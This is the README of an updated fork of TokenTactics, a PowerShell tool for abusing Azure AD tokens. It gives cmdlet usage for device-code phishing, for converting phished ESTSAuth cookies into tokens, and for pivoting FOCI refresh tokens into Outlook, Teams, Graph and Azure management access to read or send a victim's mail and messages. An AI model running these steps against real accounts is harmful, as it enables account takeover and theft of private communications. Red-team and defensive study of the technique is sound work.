This is an updated version of TokenTactics originally written by Stephan Borosh @rvrsh3ll & Bobby Cooke @0xBoku.

• Switched to v2.0 of the Azure AD OAuth2 endpoint
• Support for continuous access evaluation using the new -UseCAE switch
• Made ClientId a parameter
• Changed client_id for MSTeams
• Added support for OneDrive and SharePoint
• Added IssuedAt, NotBefore, ExpirationDate and ValidForHours in ConvertFrom-JWTtoken output in human readable format
• Refactored the codebase to have less redudant code and make it easier to extend

• Support for Linux as a device platform
• Support for OS/2 as a device platform 😁

• Backported Yammer token support
• Backported switch to allowed PowerShell verbs, added alias for backward compatibility

• Backported pull request by rotarydrone to convert ESTSAuth to access token

Azure access tokens allow you to authenticate to certain endpoints as a user who signs in with a device code. If you are in possesion of a FOCI (Family of Client IDs) capable refresh token you can use it to get access tokens to all known FOCI capable endpoints. Since the refresh-token also contains the infomration if the user has done multi-factor authentication you can use this. Once you have a user's access token, it may be possible to access certain apps such as Outlook, SharePoint, OneDrive, MSTeams and more.

For instance, if you have a Graph or MSGraph refresh token, you can then connect to Azure and dump users, groups, etc. You could then, depending on conditional access policies, switch to an Azure Core Management token and run AzureHound. Then, get an Outlook access token and read/send emails or MS Teams and read/send teams messages!

For more on Azure token types Microsoft identity platform access tokens

There are some example requests to endpoints in the resources folder. There is also an example phishing template for device code phishing.

You may also use these tokens with AAD Internals as well. We strongly recommended to check this amazing tool out.

Import-Module .\TokenTactics.psd1
Get-Help Get-AzureToken
Invoke-RefreshToSubstrateToken -Domain "myclient.org"

Get-AzureToken -Client MSGraph

Once the user has logged in, you'll be presented with the JWT and it will be saved in the $response variable. To access the access token use $response.access_token from your PowerShell window to display the token. You may also display the refresh token with $response.refresh_token. Hint: You'll want the refresh token to keep refreshing to new tokens!

Get-AzureToken -Client DODMSGraph

Get-AzureTokenFromESTSCookie -ESTSAuthCookie "0.AbcApTk..."

This module uses authorization code flow to obtain an access token and refresh token using ESTSAuth (or ESTSAuthPersistent) cookie. Useful if you have phished a session via Evilginx or have otherwise obtained this cookie.

Be sure to use the right cookie! ESTSAuthPersistent is only useful when a CA policy actually grants a persistent session. Otherwise, you should use ESTSAuth. You can usually tell which one to use based on length, the longer cookie is the one you want to use :)

Note: This may not work in all cases as it may require user interaction. If this is the case, either use the Device Code flow above, or try roadtx interactiveauth --estscookie

This feature was backported from the pull request by rotarydrone in the original repo.

If you do not specify a refresh token the cmdlets will use $response.refresh_token as a default.

Invoke-RefreshToOutlookToken -domain "myclient.org"

$OutlookToken.access_token

Connect-AzureAD -AadAccessToken $response.access_token -AccountId user@myclient.org

Invoke-RefreshToMSGraphToken -Domain "myclient.org"
Connect-MgGraph -AccessToken $MSGraphToken.access_token -Scopes "User.Read.All","Group.ReadWrite.All"

This will remove any token variables.

Clear-Token -Token All

With continuous access evaluation Microsoft implements addition security measures, but also extend the maximum livetime of an access token to 24 hours. Certain CAE capable service like MSGraph, Exchange, Teams and SharePoint can blocke access tokens based on certain events triggered by Azure AD. Currently those critical events are:

• User Account is deleted or disabled
• Password for a user is changed or reset
• Multi-factor authentication is enabled for the user
• Administrator explicitly revokes all refresh tokens for a user
• High user risk detected by Azure AD Identity Protection (not in Teams and SharePoint Online)

Invoke-RefreshToMSGraphToken -Domain "myclient.org" -UseCAE
if ( $global:MSGraphTokenValidForHours -gt 23) { "MSGraph token is CAE capable" }

If you have AADInternals installed as well you can use the created access tokens.

Invoke-RefreshToMSTeamsToken -UseCAE -Domain "myclient.org"
Set-AADIntTeamsStatusMessage -Message "My cool status message" -AccessToken $MSTeamsToken.access_token -Verbose
